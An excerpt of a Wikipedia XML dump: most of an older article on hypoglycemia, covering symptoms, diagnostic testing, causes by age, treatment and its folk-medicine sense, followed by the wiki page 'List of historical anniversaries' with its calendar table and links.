In newborns, hypoglycemia can produce irritability, jitters, [[myoclonic jerk]]s, [[cyanosis]], respiratory distress, [[apnea|apneic]] episodes, sweating, [[hypothermia]], somnolence, [[hypotonia]], refusal to feed, and seizures or &quot;spells&quot;. Hypoglycemia can resemble [[asphyxia]], [[hypocalcemia]], [[sepsis]], or [[heart failure]].

In both young and old patients, the brain may habituate to low glucose levels, with a reduction of noticeable symptoms despite neuroglycopenic impairment. In insulin-dependent diabetic patients this phenomenon is termed ''hypoglycemia unawareness'' and is a significant clinical problem when improved [[glycemic control]] is attempted. Another aspect of this phenomenon occurs in [[glycogen storage disease|type I glycogenosis]], when chronic hypoglycemia before diagnosis may be better tolerated than acute hypoglycemia after treatment is underway.

Nearly always, hypoglycemia severe enough to cause seizures or unconsciousness can be reversed without obvious harm to the brain. Cases of death or permanent neurologic damage occurring with a single episode have usually involved prolonged, untreated unconsciousness, interference with breathing, severe concurrent disease, or some other type of vulnerability. Nevertheless, brain damage or death has occasionally resulted from severe hypoglycemia.

==Determining the cause==
Hundreds of conditions can cause hypoglycemia. Common causes by age are listed below. While many aspects of the [[medical history]] and [[physical examination]] may be informative, the two best guides to the cause of unexplained hypoglycemia are usually
# the '''circumstances'''
# a '''critical sample''' of blood obtained at the time of hypoglycemia, before it is reversed.

===The circumstances of hypoglycemia provide most of the clues to diagnosis===
'''Circumstances''' include the age of the patient, time of day, time since last meal, previous episodes, nutritional status, physical and mental development, drugs or toxins (especially insulin or other diabetes drugs), diseases of other organ systems, family history, and response to treatment. When hypoglycemia occurs repeatedly, a record or &quot;diary&quot; of the spells over several months, noting the circumstances of each spell (time of day, relation to last meal, nature of last meal, response to carbohydrate, and so forth) may be useful in recognizing the nature and cause of the hypoglyemia.

An especially important aspect is whether the patient is seriously ill with another problem. Severe disease of nearly all major organ systems can cause hypoglycemia as a secondary problem. [[Hospital]]ized patients, especially in [[intensive care unit]]s or those prevented from eating, can suffer hypoglycemia from a variety of circumstances related to the care of their primary disease. Hypoglycemia in these circumstances is often multifactorial or even iatrogenic. Once identified, these types of hypoglycemia are readily reversed and prevented, and the underlying disease becomes the primary problem.

Apart from determining nutritional status and identifying whether there is likely to be an underlying disease more serious than hypoglycemia, the physical examination of the patient is only occasionally helpful. [[Macrosomia]] in infancy usually indicates [[congenital hyperinsulinism|hyperinsulinism]]. A few [[syndrome]]s and [[inborn error of metabolism|metabolic diseases]] may be recognizable by clues such as [[hepatomegaly]] or [[micropenis]].

Response to treatment, especially the amount of carbohydrate needed to reverse or prevent recurrence of hypoglycemia, may provide important clues as well. When 15-30 grams of sugar or starch are given by mouth, a low blood glucose will usually rise by 18-36 mg/dl (1-2 mmol/l) within 5-10 minutes, relieving hypoglycemic symptoms within 10 minutes. This oral treatment is only practical if the person is conscious.  A person who is unconscious may be treated with a Glucagon kit, available by prescription and recommended for people using insulin. It may take longer to recover from severe hypoglycemia with unconsciousness or seizure even after restoration of normal blood glucose. When a person has not been unconscious, failure of carbohydrate to reverse the symptoms in 10-15 minutes increases the likelihood that hypoglycemia was not the cause of the symptoms. When severe hypoglycemia has persisted in a hospitalized patient, the amount of glucose required to maintain satisfactory blood glucose levels becomes an important clue to the underlying etiology. Glucose requirements above 10 mg/kg/minute in infants, or 6 mg/kg/minute in children and adults are strong evidence for hyperinsulinism. In this context this is referred to as the ''glucose infusion rate'' (GIR). Finally, the blood glucose response to [[glucagon]] given when the glucose is low can also help distinguish among various types of hypoglycemia. A rise of blood glucose by more than 30 mg/dl (1.7 mmol/l) suggests [[hyperinsulinemic hypoglycemia|insulin excess]] as the probable cause of the hypoglycemia.

===In less obvious cases, a &quot;critical sample&quot; may provide the diagnosis===
In the majority of children and adults with recurrent, unexplained hypoglycemia, the diagnosis may be determined by obtaining a sample of blood during hypoglycemia. If this '''critical sample''' is obtained ''at the time of hypoglycemia, before it is reversed'', it can provide information that would otherwise require a several-thousand-dollar [[hospital]] admission and unpleasant starvation testing. Perhaps the most common inadequacy of [[emergency department]] care in cases of unexplained hypoglycemia is the failure to obtain at least a basic sample before giving glucose to reverse it.

Part of the value of the critical sample may simply be the proof that the symptoms are indeed due to hypoglycemia. More often, measurement of certain hormones and metabolites at the time of hypoglycemia indicates which organs and body systems are responding appropriately and which are functioning abnormally. For example, when the blood glucose is low, [[hormone]]s which raise the glucose should be rising and [[insulin]] secretion should be completely suppressed.

The following is a brief list of hormones and metabolites which may be measured in a critical sample. Not all tests are checked on every patient. A &quot;basic version&quot; would include insulin, cortisol, and electrolytes, with C-peptide and drug screen for adults and growth hormone in children. The value of additional specific tests depends on the most likely diagnoses for an individual patient, based on the circumstances described above. Many of these levels change within minutes, especially if glucose is given, and there is no value in measuring them after the hypoglycemia is reversed. Others, especially those lower in the list, remain abnormal even after hypoglycemia is reversed, and can be usefully measured even if a critical specimen is missed. Although interpretation in difficult cases is beyond the scope of this article, for most of the tests, the primary significance is briefly noted.
*[[Glucose]]: needed to document actual hypoglycemia
*[[Insulin]]: any detectable amount is abnormal during hypoglycemia, but physician must know assay characteristics
*[[Cortisol]]: should be high during hypoglycemia if pituitary and adrenals are functioning normally
*[[Growth hormone]]: should rise after hypoglycemia if pituitary is functioning normally
*[[Electrolyte]]s and [[total carbon dioxide]]: electrolyte abnormalities may suggest renal or adrenal disease; mild acidosis is normal with starvation hypoglycemia; usually no acidosis with hyperinsulinism
*[[Liver enzymes]]: elevation suggests liver disease
*[[Ketone]]s: should be high during fasting and hypoglycemia; low levels suggest hyperinsulinism or fatty acid oxidation disorder
*[[Beta-hydroxybutyrate]]: should be high during fasting and hypoglycemia; low levels suggest hyperinsulinism or fatty acid oxidation disorder
*[[Free fatty acids]]: should be high during fasting and hypoglycemia; low levels suggest hyperinsulinism; high with low ketones suggests fatty acid oxidation disorder
*[[Lactic acid]]: high levels suggest sepsis or an inborn error of gluconeogenesis such as glycogen storage disease
*[[Ammonia]]: if elevated suggests hyperinsulinism due to glutamate dehydrogenase deficiency, Reye syndrome, or certain types of liver failure
*[[C-peptide]]: should be undetectable; if elevated suggests hyperinsulinism; low c-peptide with high insulin suggests exogenous (injected) insulin
*[[Proinsulin]]: detectable levels suggest hyperinsulinism; levels disproportionate to a detectabe insulin level suggest insulinoma
*[[Ethanol]]: suggests alcohol intoxication
*[[Toxicology screen]]: can detect many drugs causing hypoglycemia, especially for [[sulfonylurea]]s
*[[Insulin antibodies]]: if positive suggests repeated insulin injection or antibody-mediated hypoglycemia
*[[Urine organic acids]]: elevated in various characteristic patterns in several types of [[organic aciduria]]
*[[Carnitine]], free and total: low in certain disorders of fatty acid metabolism and certain types of drug toxicity and pancreatic disease
*[[Thyroxine]] and [[TSH]]: low T4 without elevated TSH suggests hypopituitarism or malnutrition
*[[Acylglycine]]: elevation suggests a disorder of fatty acid oxidation
*[[Epinephrine]]: should be elevated during hypoglycemia
*[[Glucagon]]: should be elevated during hypoglycemia
*[[IGF-1]]: low levels suggest hypopituitarism or chronic malnutrition
*[[IGF-2]]: low levels suggest hypopituitarism; high levels suggest non-pancreatic tumor hypoglycemia
*[[ACTH]]: should be elevated during hypoglycemia; unusually high ACTH with low cortisol suggests Addison's disease
*[[Alanine]] or other plasma [[amino acid]]s: abnormal patterns may suggest certain inborn errors of amino acid metabolism or gluconeogenesis

===Further diagnostic steps depend on the initial evidence===
When suspected hypoglycemia recurs and a critical specimen has not been obtained, the diagnostic evaluation may take several paths.

When general health is good, the symptoms are not severe, and the person can fast normally through the night, experimentation with diet (extra snacks with fat or protein, reduced sugar) may be enough to solve the problem. If it is uncertain whether &quot;spells&quot; are indeed due to hypoglycemia, some physicians will recommend use of a home [[glucose meter]] to test at the time of the spells to confirm that glucoses are low. This approach may be most useful when spells are fairly frequent or the patient is confident that he or she can provoke a spell. The principal drawback of this approach is the high rate of false positive or equivocal levels due to the imprecision of the currently available meters: both physician and patient need an accurate understanding of what a meter can and cannot do to avoid frustrating and inconclusive results.

In cases of recurrent hypoglycemia with severe symptoms, the best method of excluding dangerous conditions is often a ''diagnostic fast''. This is usually conducted in the hospital, and the duration depends on the age of the patient and response to the fast. A healthy adult can usually maintain a glucose level above 50 mg/dl (2.8 mM) for 72 hours, a child for 36 hours, and an infant for 24 hours. The purpose of the fast is to determine whether the person can maintain his or her blood glucose as long as normal, and can respond to fasting with the appropriate metabolic changes. At the end of the fast the insulin should be nearly undetectable and ketosis should be fully established. The patient's blood glucose levels are monitored and a critical specimen is obtained if the glucose falls. Despite its unpleasantness and expense, a diagnostic fast may be the only effective way to confirm or refute a number of serious forms of hypoglycemia, especially those involving [[hyperinsulinemic hypoglycemia|excessive insulin]].

A traditional method for investigating suspected hypoglycemia is the oral [[glucose tolerance test]], especially when prolonged to 3, 4, or 5 hours. Although quite popular in the United States in the 1960s, repeated research studies have demonstrated that many healthy people will have glucose levels below 70 or 60 during a prolonged test, and that many types of significant hypoglycemia may go undetected with it. This combination of poor [[sensitivity]] and [[specificity]] has resulted in its abandonment for this purpose by physicians experienced in disorders of glucose metabolism.

== Causes of hypoglycemia ==
There are several ways to classify hypoglycemia. The following is a list of the more common causes and factors which may contribute to hypoglycemia grouped by age, followed by some causes that are relatively age-independent. See [[causes of hypoglycemia]] for a more complete list grouped by etiology.

=== Hypoglycemia in newborn infants ===
Hypoglycemia is a common problem in critically ill or extremely low birthweight infants. If not due to maternal hyperglycemia, in most cases it is multifactorial, transient and easily supported. In a minority of cases hypoglycemia turns out to be due to significant hyperinsulinism, hypopituitarism or an inborn error of metabolism and presents more of a management challenge.
*Transient neonatal hypoglycemia
**[[Prematurity]], [[intrauterine growth retardation]], [[perinatal asphyxia]]
**Maternal hyperglycemia due to [[diabetes]] or iatrogenic glucose administration
**[[Sepsis]]
**Prolonged fasting (e.g., due to inadequate breast milk or condition interfering with feeding)
*Congenital [[hypopituitarism]]
*[[Congenital hyperinsulinism]], several types, both transient and persistent
*[[Inborn error of metabolism|Inborn errors of carbohydrate metabolism]] such as [[glycogen storage disease]]

===Hypoglycemia in young children===
Single episodes of hypoglycemia due to gastroenteritis or fasting, but recurrent episodes nearly always indicate either an [[inborn error of metabolism]], congenital hypopituitarism, or congenital hyperinsulinism
*Prolonged fasting
**[[Diarrhea]]l illness in young children, especially [[rotavirus]] [[gastroenteritis]]
*Idiopathic [[ketotic hypoglycemia]]
*Isolated [[growth hormone deficiency]], [[hypopituitarism]]
*[[Hyperinsulinemic hypoglycemia|Insulin excess]]
**Hyperinsulinism due to several [[congenital hyperinsulinism|congenital disorders of insulin secretion]]
**Insulin injected for type 1 diabetes
*[[Gastric dumping syndrome]] (after gastrointestinal surgery)
*Other congenital metabolic diseases; some of the common include
**[[Maple syrup urine disease]] and other [[organic aciduria]]s
**[[Glycogen storage disease|Type 1 glycogen storage disease]]
**[[Disorders of fatty acid oxidation]]
**[[Medium chain acylCoA dehydrogenase deficiency (MCAD)]]
*Accidental ingestions
**[[Sulfonylurea]]s, [[propranolol]] and others
**[[Ethanol]] (mouthwash, &quot;leftover morning-after-the-party drinks&quot;)

===Hypoglycemia in older children and young adults===
By far the most common cause of severe hypoglycemia in this age range is insulin injected for [[type 1 diabetes]]. Circumstances should provide clues fairly quickly for the new diseases causing severe hypoglycemia. All of the congenital metabolic defects, congenital forms of hyperinsulinism, and congenital hypopituitarism are likely to have already been diagnosed or are unlikely to start causing new hypoglycemia at this age. Body mass is large enough to make starvation hypoglycemia and idiopathic [[ketotic hypoglycemia]] quite uncommon. Recurrent mild hypoglycemia may fit a [[reactive hypoglycemia]] pattern, but this is also the peak age for [[idiopathic postprandial syndrome]], and recurrent &quot;spells&quot; in this age group can be traced to [[orthostatic hypotension]] or [[hyperventilation]] as often as demonstrable hypoglycemia.
*Insulin-induced hypoglycemia
**Insulin injected for type 1 diabetes
**Factitious insulin injection ([[Munchausen syndrome]])
**Insulin-secreting pancreatic tumor
**[[Reactive hypoglycemia]] and [[idiopathic postprandial syndrome]]
*[[Addison's disease]]
*[[Sepsis]]

===Hypoglycemia in older adults===
The incidence of hypoglycemia due to complex drug interactions, especially involving [[oral hypoglycemic agent]]s and insulin for diabetes rises with age. Though much rarer, the incidence of insulin-producing tumors also rises with advancing age. Most tumors causing hypoglycemia by mechanisms other than insulin excesss occur in adults.
*Insulin-induced hypoglycemia
**Insulin injected for diabetes
**Factitious insulin injection ([[Munchausen syndrome]])
**Excessive effects of oral diabetes drugs, beta-blockers, or drug interactions
**Insulin-secreting pancreatic tumor
**Alimentary (rapid jejunal emptying with exaggerated insulin response)
***After gastrectomy [[dumping syndrome]] or bowel bypass surgery or resection
**[[Reactive hypoglycemia]] and [[idiopathic postprandial syndrome]]
*[[Tumor hypoglycemia]]
*Acquired [[adrenal insufficiency]]
*Acquired [[hypopituitarism]]

== Treatment and prevention ==
Management of hypoglycemia involves immediately raising the blood sugar to normal, determining the cause, and taking measures to prevent future episodes.

===Reversing acute hypoglycemia===
The blood glucose can be raised to normal within minutes by taking (or receiving) 10-20 grams of [[carbohydrate]]. It can be taken as food or drink if the person is conscious and able to swallow. This amount of carbohydrate is contained in about 3-4 ounces (100-120 ml) of orange, apple, or grape juice, about 4-5 ounces (120-150 ml) of regular (non-diet) soda), about one slice of bread, about 4 crackers, or about 1 serving of most starchy foods. [[Starch]] is quickly digested to glucose, but adding fat or protein retards digestion. Symptoms should begin to improve within 5 minutes, though full recovery may take 10-20 minutes. Overfeeding does not speed recovery and if the person has diabetes will simply produce hyperglycemia afterwards.

If a person is suffering such severe effects of hypoglycemia that they cannot (due to combativeness) or should not (due to seizures or unconsciousness) be given anything by mouth, glucose can be given by intravenous infusion or the glucose can be rapidly raised by an injection of glucagon. Further details of glucagon use are provided in the article on [[diabetic hypoglycemia]].

===Preventing further episodes===
The most effective means of preventing further episodes of hypoglycemia depends on the cause.

The risk of further episodes of [[diabetic hypoglycemia]] can often be reduced by lowering the dose of insulin or other medications, or by more meticulous attention to blood sugar balance during unusual hours, higher levels of exercise, or alcohol intake. 

Many of the [[inborn error of metabolism|inborn errors of metabolism]] require avoidance or shortening of fasting intervals, or extra carbohydrates. For the more severe disorders, such as [[glycogen storage disease|type 1 glycogen storage disease]], this may be supplied in the form of [[cornstarch]] every few hours or by continuous gastric infusion.

Several treatments are used for [[hyperinsulinemic hypoglycemia]], depending on the exact form and severity. Some forms of [[congenital hyperinsulinism]] respond to [[diazoxide]] or [[octreotide]]. Surgical removal of the overactive part of the pancreas is curative with minimal risk when hyperinsulinism is focal or due to a benign insulin-producing tumor of the pancreas. When congenital hyperinsulinism is diffuse and refractory to medications, near-total pancreatectomy may be the treatment of last resort, but in this condition is less consistently effective and fraught with more complications. 

Hypoglycemia due to hormone deficiencies such as [[hypopituitarism]] or [[adrenal insufficiency]] usually ceases when the appropriate hormone is replaced.

Hypoglycemia due to [[dumping syndrome]] and other post-surgical conditions is best dealt with by altering diet. Including fat and protein with carbohydrates may slow digestion and reduce early insulin secretion. Some forms of this respond to treatment with a [[glucosidase inhibitor]], which slows [[starch]] digestion.

[[Reactive hypoglycemia]] with demonstrably low blood glucose levels is most often a predictable nuisance which can be avoided by consuming fat and protein with carbohydrates, by adding morning or afternoon snacks, and reducing alcohol intake.

Idiopathic postprandial syndrome without demonstrably low glucose levels at the time of symptoms can be more of a management challenge. Many people find improvement by changing eating patterns (smaller meals, avoiding excessive sugar, mixed meals rather than carbohydrates by themselves), reducing intake of stimulants such as [[caffeine]], or by making lifestyle changes to reduce stress. See the following section of this article.

==Hypoglycemia as American folk medicine==
'''Hypoglycemia''' is also a term of contemporary American [[folk medicine]] which refers to a recurrent state of symptoms of altered mood and subjective cognitive efficiency, sometimes accompanied by [[adrenergic]] symptoms, but '''''not''''' necessarily by ''measured'' low blood glucose. Symptoms are primarily those of altered mood, behavior, and mental efficiency. This condition is usually treated by dietary changes which range from simple to elaborate. 

This condition therefore overlaps with the definition and forms of hypoglycemia described in the remainder of this article but is not entirely congruent. When low glucose levels can be measured, this condition is what is usually described by physicians as [[idiopathic]] [[reactive hypoglycemia]]. When glucose levels are not low enough to distinguish the patient's glucose from normal levels, this type of &quot;hypoglycemia&quot; does not carry the same risks of coma or brain damage as measurable hypoglycemia that meets the Whipple criteria. A variety of terms have been used in the medical literature: functional hypoglycemia, [[idiopathic postprandial syndrome]], pseudohypoglycemia, nonhypoglycemia, and &quot;hypoglycemia&quot;. The terms range from favorable to pejorative and reflect the range of attitudes of physicians as much as the nature of the condition. 

Advising people on management of this condition is a significant &quot;sub-industry&quot; of alternative medicine. More information about this form of &quot;hypoglycemia&quot;, with far more elaborate dietary recommendations, is available on the internet and in health food stores. Most of these websites and books describe a conflated mixture of reactive hypoglycemia and idiopathic postprandial syndrome but do not recognize a distinction. The value of these recommendations is unproven.

==See also==
*[[glucose]]
*[[diabetic coma]], [[diabetic hypoglycemia]]
*[[hyperinsulinemic hypoglycemia]], [[congenital hyperinsulinism]]
*[[idiopathic hypoglycemia]], [[idiopathic postprandial syndrome]], [[reactive hypoglycemia]]

==External links==
*[http://diabetes.niddk.nih.gov/dm/pubs/hypoglycemia/ The National Diabetes Information Clearinghouse]
*[http://www.hypoglycemia.asn.au Hypoglycemic Health Association of Australia]
*[http://www.hypoglycemia.org The Hypoglycemia Support Foundation Inc.]
*[http://www.low-sugar.com Low-Sugar.com]

[[Category:Medical emergencies]]
[[Category:Metabolic disorders]]

[[de:Hypoglykämie]]
[[es:Hipoglucemia]]
[[eo:Hipoglikemio]]
[[fr:Hypoglycémie]]
[[it:Ipoglicemia]]
[[he:היפוגליקמיה]]
[[nl:Hypoglykemie]]
[[no:Hypoglykemi]]
[[pl:Hipoglikemia]]
[[pt:Hipoglicémia]]</text>
    </revision>
  </page>
  <page>
    <title>List of historical anniversaries</title>
    <id>13316</id>
    <revision>
      <id>39018938</id>
      <timestamp>2006-02-10T03:57:37Z</timestamp>
      <contributor>
        <username>Andrew Levine</username>
        <id>32383</id>
      </contributor>
      <minor />
      <comment>fr:Liste des anniversaires historiques</comment>
      <text xml:space="preserve">Condensed list of historical anniversaries.
{|
|-
| [[January]]
| &lt;small&gt;[[January 1|1]] [[January 2|2]] [[January 3|3]] [[January 4|4]] [[January 5|5]] [[January 6|6]] [[January 7|7]] [[January 8|8]] [[January 9|9]] [[January 10|10]] [[January 11|11]] [[January 12|12]] [[January 13|13]] [[January 14|14]] [[January 15|15]] [[January 16|16]] [[January 17|17]] [[January 18|18]] [[January 19|19]] [[January 20|20]] [[January 21|21]] [[January 22|22]] [[January 23|23]] [[January 24|24]] [[January 25|25]] [[January 26|26]] [[January 27|27]] [[January 28|28]] [[January 29|29]] [[January 30|30]] [[January 31|31]]&lt;/small&gt;
|-
| [[February]]
| &lt;small&gt;[[February 1|1]] [[February 2|2]] [[February 3|3]] [[February 4|4]] [[February 5|5]] [[February 6|6]] [[February 7|7]] [[February 8|8]] [[February 9|9]] [[February 10|10]] [[February 11|11]] [[February 12|12]] [[February 13|13]] [[February 14|14]] [[February 15|15]] [[February 16|16]] [[February 17|17]] [[February 18|18]] [[February 19|19]] [[February 20|20]] [[February 21|21]] [[February 22|22]] [[February 23|23]] [[February 24|24]] [[February 25|25]] [[February 26|26]] [[February 27|27]] [[February 28|28]] [[February 29|(29)]] [[February 30|((30))]]&lt;/small&gt;
|-
| [[March]]
| &lt;small&gt;[[March 1|1]] [[March 2|2]] [[March 3|3]] [[March 4|4]] [[March 5|5]] [[March 6|6]] [[March 7|7]] [[March 8|8]] [[March 9|9]] [[March 10|10]] [[March 11|11]] [[March 12|12]] [[March 13|13]] [[March 14|14]] [[March 15|15]] [[March 16|16]] [[March 17|17]] [[March 18|18]] [[March 19|19]] [[March 20|20]] [[March 21|21]] [[March 22|22]] [[March 23|23]] [[March 24|24]] [[March 25|25]] [[March 26|26]] [[March 27|27]] [[March 28|28]] [[March 29|29]] [[March 30|30]] [[March 31|31]]&lt;/small&gt;
|-
| [[April]]
| &lt;small&gt;[[April 1|1]] [[April 2|2]] [[April 3|3]] [[April 4|4]] [[April 5|5]] [[April 6|6]] [[April 7|7]] [[April 8|8]] [[April 9|9]] [[April 10|10]] [[April 11|11]] [[April 12|12]] [[April 13|13]] [[April 14|14]] [[April 15|15]] [[April 16|16]] [[April 17|17]] [[April 18|18]] [[April 19|19]] [[April 20|20]] [[April 21|21]] [[April 22|22]] [[April 23|23]] [[April 24|24]] [[April 25|25]] [[April 26|26]] [[April 27|27]] [[April 28|28]] [[April 29|29]] [[April 30|30]]&lt;/small&gt;
|-
| [[May]]
| &lt;small&gt;[[May 1|1]] [[May 2|2]] [[May 3|3]] [[May 4|4]] [[May 5|5]] [[May 6|6]] [[May 7|7]] [[May 8|8]] [[May 9|9]] [[May 10|10]] [[May 11|11]] [[May 12|12]] [[May 13|13]] [[May 14|14]] [[May 15|15]] [[May 16|16]] [[May 17|17]] [[May 18|18]] [[May 19|19]] [[May 20|20]] [[May 21|21]] [[May 22|22]] [[May 23|23]] [[May 24|24]] [[May 25|25]] [[May 26|26]] [[May 27|27]] [[May 28|28]] [[May 29|29]] [[May 30|30]] [[May 31|31]]&lt;/small&gt;
|-
| [[June]]
| &lt;small&gt;[[June 1|1]] [[June 2|2]] [[June 3|3]] [[June 4|4]] [[June 5|5]] [[June 6|6]] [[June 7|7]] [[June 8|8]] [[June 9|9]] [[June 10|10]] [[June 11|11]] [[June 12|12]] [[June 13|13]] [[June 14|14]] [[June 15|15]] [[June 16|16]] [[June 17|17]] [[June 18|18]] [[June 19|19]] [[June 20|20]] [[June 21|21]] [[June 22|22]] [[June 23|23]] [[June 24|24]] [[June 25|25]] [[June 26|26]] [[June 27|27]] [[June 28|28]] [[June 29|29]] [[June 30|30]]&lt;/small&gt;
|-
| [[July]]
| &lt;small&gt;[[July 1|1]] [[July 2|2]] [[July 3|3]] [[July 4|4]] [[July 5|5]] [[July 6|6]] [[July 7|7]] [[July 8|8]] [[July 9|9]] [[July 10|10]] [[July 11|11]] [[July 12|12]] [[July 13|13]] [[July 14|14]] [[July 15|15]] [[July 16|16]] [[July 17|17]] [[July 18|18]] [[July 19|19]] [[July 20|20]] [[July 21|21]] [[July 22|22]] [[July 23|23]] [[July 24|24]] [[July 25|25]] [[July 26|26]] [[July 27|27]] [[July 28|28]] [[July 29|29]] [[July 30|30]] [[July 31|31]]&lt;/small&gt;
|-
| [[August]]
| &lt;small&gt;[[August 1|1]] [[August 2|2]] [[August 3|3]] [[August 4|4]] [[August 5|5]] [[August 6|6]] [[August 7|7]] [[August 8|8]] [[August 9|9]] [[August 10|10]] [[August 11|11]] [[August 12|12]] [[August 13|13]] [[August 14|14]] [[August 15|15]] [[August 16|16]] [[August 17|17]] [[August 18|18]] [[August 19|19]] [[August 20|20]] [[August 21|21]] [[August 22|22]] [[August 23|23]] [[August 24|24]] [[August 25|25]] [[August 26|26]] [[August 27|27]] [[August 28|28]] [[August 29|29]] [[August 30|30]] [[August 31|31]]&lt;/small&gt;
|-
| [[September]]
| &lt;small&gt;[[September 1|1]] [[September 2|2]] [[September 3|3]] [[September 4|4]] [[September 5|5]] [[September 6|6]] [[September 7|7]] [[September 8|8]] [[September 9|9]] [[September 10|10]] [[September 11|11]] [[September 12|12]] [[September 13|13]] [[September 14|14]] [[September 15|15]] [[September 16|16]] [[September 17|17]] [[September 18|18]] [[September 19|19]] [[September 20|20]] [[September 21|21]] [[September 22|22]] [[September 23|23]] [[September 24|24]] [[September 25|25]] [[September 26|26]] [[September 27|27]] [[September 28|28]] [[September 29|29]] [[September 30|30]]&lt;/small&gt;
|-
| [[October]]
| &lt;small&gt;[[October 1|1]] [[October 2|2]] [[October 3|3]] [[October 4|4]] [[October 5|5]] [[October 6|6]] [[October 7|7]] [[October 8|8]] [[October 9|9]] [[October 10|10]] [[October 11|11]] [[October 12|12]] [[October 13|13]] [[October 14|14]] [[October 15|15]] [[October 16|16]] [[October 17|17]] [[October 18|18]] [[October 19|19]] [[October 20|20]] [[October 21|21]] [[October 22|22]] [[October 23|23]] [[October 24|24]] [[October 25|25]] [[October 26|26]] [[October 27|27]] [[October 28|28]] [[October 29|29]] [[October 30|30]] [[October 31|31]]&lt;/small&gt;
|-
| [[November]]
| &lt;small&gt;[[November 1|1]] [[November 2|2]] [[November 3|3]] [[November 4|4]] [[November 5|5]] [[November 6|6]] [[November 7|7]] [[November 8|8]] [[November 9|9]] [[November 10|10]] [[November 11|11]] [[November 12|12]] [[November 13|13]] [[November 14|14]] [[November 15|15]] [[November 16|16]] [[November 17|17]] [[November 18|18]] [[November 19|19]] [[November 20|20]] [[November 21|21]] [[November 22|22]] [[November 23|23]] [[November 24|24]] [[November 25|25]] [[November 26|26]] [[November 27|27]] [[November 28|28]] [[November 29|29]] [[November 30|30]]&lt;/small&gt;
|-
| [[December]]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
| &lt;small&gt;[[December 1|1]] [[December 2|2]] [[December 3|3]] [[December 4|4]] [[December 5|5]] [[December 6|6]] [[December 7|7]] [[December 8|8]] [[December 9|9]] [[December 10|10]] [[December 11|11]] [[December 12|12]] [[December 13|13]] [[December 14|14]] [[December 15|15]] [[December 16|16]] [[December 17|17]] [[December 18|18]] [[December 19|19]] [[December 20|20]] [[December 21|21]] [[December 22|22]] [[December 23|23]] [[December 24|24]] [[December 25|25]] [[December 26|26]] [[December 27|27]] [[December 28|28]] [[December 29|29]] [[December 30|30]] [[December 31|31]]&lt;/small&gt;
|}

{{Calendar}}



==External links and resources==
*[http://www.thefreedictionary.com/_/archive.htm Daily Content Archive]
*[http://www.badley.info/history/daily.events.html World History Database]
*[http://www.tnl.net/when/today Today in History]
*[http://www.todayinsci.com/ Today in Science History]
*[[History Channel|The History Channel]]: [http://www.historychannel.com/today/ This Day in History]
*[http://www.on-this-day.com/ On-This-Day.com]
*[[The Internet Movie Database|IMDb]]: [http://www.imdb.com/M/on-this-day This Day in Movie History]
*[[Associated Press]]: [http://story.news.yahoo.com/news?tmpl=story&amp;u=/ap/history Today In History]
*[http://www.rotten.com/today/ Today in rotten history]
*[[BBC]]: [http://news.bbc.co.uk/onthisday/ On This Day]
*[http://www.history.navy.mil/wars/dates.htm Dates in American Naval History]
*[http://www.beatlesagain.com/bhistory.html Today in Beatles history]


[[Category:Lists|Historical anniversaries]]

[[af:Lys van historiese herdenkings]]
[[ang:St&amp;#509;rlice gemynddaga]]
[[ar:&amp;#1571;&amp;#1581;&amp;#1583;&amp;#1575;&amp;#1579; &amp;#1608;&amp;#1605;&amp;#1606;&amp;#1575;&amp;#1587;&amp;#1576;&amp;#1575;&amp;#1578;]]
[[an:Calandario d'escaizimientos]]
[[ast:Repurtoriu de fechos]]
[[bg:&amp;#1048;&amp;#1089;&amp;#1090;&amp;#1086;&amp;#1088;&amp;#1080;&amp;#1095;&amp;#1077;&amp;#1089;&amp;#1082;&amp;#1080; &amp;#1075;&amp;#1086;&amp;#1076;&amp;#1080;&amp;#1096;&amp;#1085;&amp;#1080;&amp;#1085;&amp;#1080;]]
[[be:&amp;#1057;&amp;#1100;&amp;#1087;&amp;#1110;&amp;#1089; &amp;#1087;&amp;#1072;&amp;#1084;&amp;#1103;&amp;#1090;&amp;#1085;&amp;#1099;&amp;#1093; &amp;#1076;&amp;#1072;&amp;#1090;]]
[[bs:Kalendar]]
[[ca:Calendari d'esdeveniments]]
[[csb:Kalãdarium]]
[[cs:Seznam historick&amp;#253;ch v&amp;#253;ro&amp;#269;&amp;#237;]]
[[cy:Rhestr cylchwyliau hanesyddol]]
[[da:Historiske begivenheder]]
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[[es:Calendario de aniversarios]]
[[eo:Tagoj]]
[[et:Aasta päevad]]
[[eu:Urteko egutegi]]
[[fa:فهرست روزهای سال میلادی]]
[[fi:Kalenteri]]
[[fo:Søguligar hendingar]]
[[fur:Calendari dai acjadiments]]
[[fr:Liste des anniversaires historiques]]
[[fy:Deiskema]]
[[gl:366 días do ano]]
[[ko:366&amp;#51068;]]
[[he:לוח אירועים שנתי]]
[[hr:Kalendar]]
[[hu:Történelmi évfordulók listája]]
[[ia:Anniversarios historic]]
[[id:Kalender Peristiwa]]
[[is:Allir dagar ársins]]
[[it:Anniversari storici]]
[[ja:365&amp;#26085;]]
[[ko:366일]]
[[ku:Rojên salê]]
[[la:Index dierum]]
[[ml:&amp;#3354;&amp;#3376;&amp;#3391;&amp;#3364;&amp;#3405;&amp;#3376;&amp;#3364;&amp;#3405;&amp;#3364;&amp;#3391;&amp;#3378;&amp;#3405;&amp;#8205; &amp;#3335;&amp;#3368;&amp;#3405;&amp;#3368;&amp;#3405;&amp;#8204;]]
[[mr:&amp;#2327;&amp;#2381;&amp;#2352;&amp;#2375;&amp;#2327;&amp;#2352;&amp;#2368; &amp;#2342;&amp;#2367;&amp;#2344;&amp;#2342;&amp;#2352;&amp;#2381;&amp;#2358;&amp;#2367;&amp;#2325;&amp;#2366;]]
[[nl:365-dagenschema]]
[[no:Historiske datoer]]
[[oc:Calendièr d'eveniments]]
[[pl:Kalendarium dzie&amp;#324; po dniu]]
[[pt:Lista de dias do ano]]
[[ru:&amp;#1052;&amp;#1077;&amp;#1089;&amp;#1103;&amp;#1094;&amp;#1077;&amp;#1089;&amp;#1083;&amp;#1086;&amp;#1074;]]
[[sk:Zoznam historick&amp;#253;ch v&amp;#253;ro&amp;#269;&amp;#237;]]
[[sl:Seznam zgodovinskih obletnic]]
[[sr:&amp;#1044;&amp;#1085;&amp;#1077;&amp;#1074;&amp;#1085;&amp;#1080; &amp;#1082;&amp;#1072;&amp;#1083;&amp;#1077;&amp;#1085;&amp;#1076;&amp;#1072;&amp;#1088;]]
[[sv:Lista över datum]]
[[tl:Kalendaryo]]
[[tr:Takvim]]
[[tt:Tar&amp;#237;x&amp;#237; waq&amp;#237;&amp;#287;alar]]
